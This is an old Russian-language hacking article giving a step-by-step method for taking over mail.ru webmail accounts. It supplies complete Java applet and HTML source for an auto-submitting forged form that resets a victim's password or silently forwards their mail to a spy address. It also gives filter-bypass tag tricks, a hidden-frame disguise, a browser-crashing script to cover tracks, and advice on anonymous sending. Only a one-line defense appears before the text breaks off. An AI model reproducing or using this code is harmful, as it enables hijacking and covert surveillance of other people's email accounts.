Некоторые методы технического взлома почтового ящика с WWW- интерфейсом (на примере www.mail.ru).

Введение

В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса ( www.hotmail.com, www.mail.com, www.netscape.net в России - www.mail.ru). Web-почту "местного значения" также предлагают провайдеры, работающие по схемам "Интернет-Кард" или "Интернет-в-кредит". Честно говоря, автору совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное кол-во вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.

В статье будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальных недостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для "конкретности", будет описан найденый автором метод "захвата" или "подслушивания" пользователя популярной в России системе mail.ru и способ защиты.

"Социальная инженерия" (сравнимый по эффективности) вид взлома рассматриваться не будет просто потому, что она детально рассмотрена в статьях других авторов hackzon'ы.

Существуют, конечно и другие методы, возможно, лучшие, чем описанный ниже. Может, их авторы тоже поделятся своими мыслями в отзывах или напишут статью...

1. Принципиальные недостатки безопасности WWW-почты.

(Не)Надежность обычной почтовой програмы определяется (без)грамотностью её написания.

Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на теги, используемые в письмах ( <script ...>, <iframe> и т.д.). Как правило, встроенный фильтр просто удаляет "небезопасные" с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: (1) слишком строгие фильтры могут повредить само письмо, да и (2) трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.

Cамый же уязвимый элемент - это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.

2. Технология атаки.

Итак, мы решили перехватить контроль у пользователя xxxx почтовой системы с Web- интерфейсом, например yyyy.zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через pop3 -сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGI-скрипт

cgi-bin/modifyuser?modify

Для идентификации пользователя, похоже, используется скрытое поле

<input type="hidden" name="Username" value="intst1">

Нам предоставляется вохможность изменить :

имя пользователя;
<input type="text" name="RealName" value="A. V. Komlni">

адрес пересылки (форвардинга) и возможность сохранения почты при этом;
<input type="text" name="Forward" value="...">
<input type=checkbox name="Flags.DoNotKeepMail" >

пароль;
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">

Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т.к. CGI, увы, не проверяет место нахождения формы-запроса.

<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">

Не получилось. Быть может, в интересующей Вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies - результат тот же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером - внедрение <script> и &{ ... } конструкций в письмо - давно уже пресечён с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попробуйте, чем чёрт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.

Неплохой результат иногда дают конструкции вида <тег [XX]SRC=...>, например <IMAGE LoSrc="javascript..."...> , <IFRAME SCR="about: <script...> ..."> для IE и <ilayer src="mocha:..."> для NC. ("mocha" - это старый, всеми позабытый аналог модификатора "javascript", сохранившийся в NC). Вообще, чем реже используется тот или иной тег тем больше вероятность, что разработчики забыли его офильтровать...). Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail.ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали "умные" книжки, запомнив, что Java - одна из самых безопасных технологий в сети. Поэтому и разрешили тег <Applet...>. ( те из Вас, кто читал мои предыдущие статьи "Безопасный Netscape...", уже убедились, что JVM заботится только о собственной безопасности, до того, что сделается с браузером, ей дела нет!).

В стандарте Java есть класс AppletContext (зачем?!), позволяющий нам открывать новые окна или менять текущие.

URL myURL=new URL("http:...editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");
getAppletContext().showDocument(myURL,"newwin");

На любой общедоступной страничке размещаем файл editprofil.html ( содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там-же и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково "хорошо" работая в IE и NC. ( не забудьте отредактировать _ПУТЬ_)

<applet
    code=readr.class
    name=readrie
    codebase="_ПУТЬ_/"
    width=320
    height=240 >
<B> SET Java On</B>
</applet>

------------------------------------------------------
readr.java ( не забудьте отредактировать _ПУТЬ_)
-------------------------------------------------------
import java.applet.*;
import java.awt.*;
import java.net.*;

public class readrie extends Applet
{

public void paint(Graphics g) 
{ try {

                URL myURL=new URL("_ПУТЬ_editprofil.html"); 
getAppletContext().showDocument(myURL,"_self");

} catch (Exception e) { 
          g.drawString("Error", 10, 10);
}
}
}
--------------------------------------------------------------------
editprofil.html ( не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и
НОВЫЙ_ПАРОЛЬ)
--------------------------------------------------------------------
<html>
<body>
<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">
<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ ">
<input type="text" name="RealName" value="A. V. Komlni">
<input type="text" name="Forward" value="">
<input type="password" name="Password" value=" НОВЫЙ_ПАРОЛЬ ">
<input type="password" name="Password_Verify" value=" НОВЫЙ_ПАРОЛЬ ">
<input type=checkbox name="Flags.DoNotKeepMail" >
Не сохранять почту при пересылке<br>

<input type="submit" value="Сохранить"> <input type="reset"
value="Восстановить">
</form>
<SCRIPT LANGUAGE="JavaScript">
 document.forms[0].submit();
</script>

</body>
</html>

Письмо можно сформировать просто присоединением (attach) HTML -файла (в Netscape Messenger, например) содержащего необходимые теги. Присоединенный в Messenger'е HTML-файл mail.ru откроет автоматически.

Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы.

Вот, в принципе, и всё. Пользователю присвоен новый пароль. Если мы хотим "просто подслушивать" пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward - куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.

<input type="text" name="Forward" value="spy_addr@xxxx.zz">
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">

3. Макияж...

Не стоит, конечно, проводить всю эту процедуру перед глазами пользователя ( может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset

<FRAMESET COLS="99%,1%">
<FRAME SRC="zastavka.html" NAME="v1">
<FRAME SRC="editprofile.html" NAME="w1">

где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, а editprofile выполняется в невидимом фрейме.

По окончании смены паролей лучше сымитировать сбой т.к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт open("javascript:open(window.location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем. ( Смотрите статью "Атака на отказ...").

На 06.01.2000 пример ещё работал. Исходники на www.chat.ru/~avkvladru/mail/

Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и pop-сервера. Экономия на настройке приносит проблемы с бе�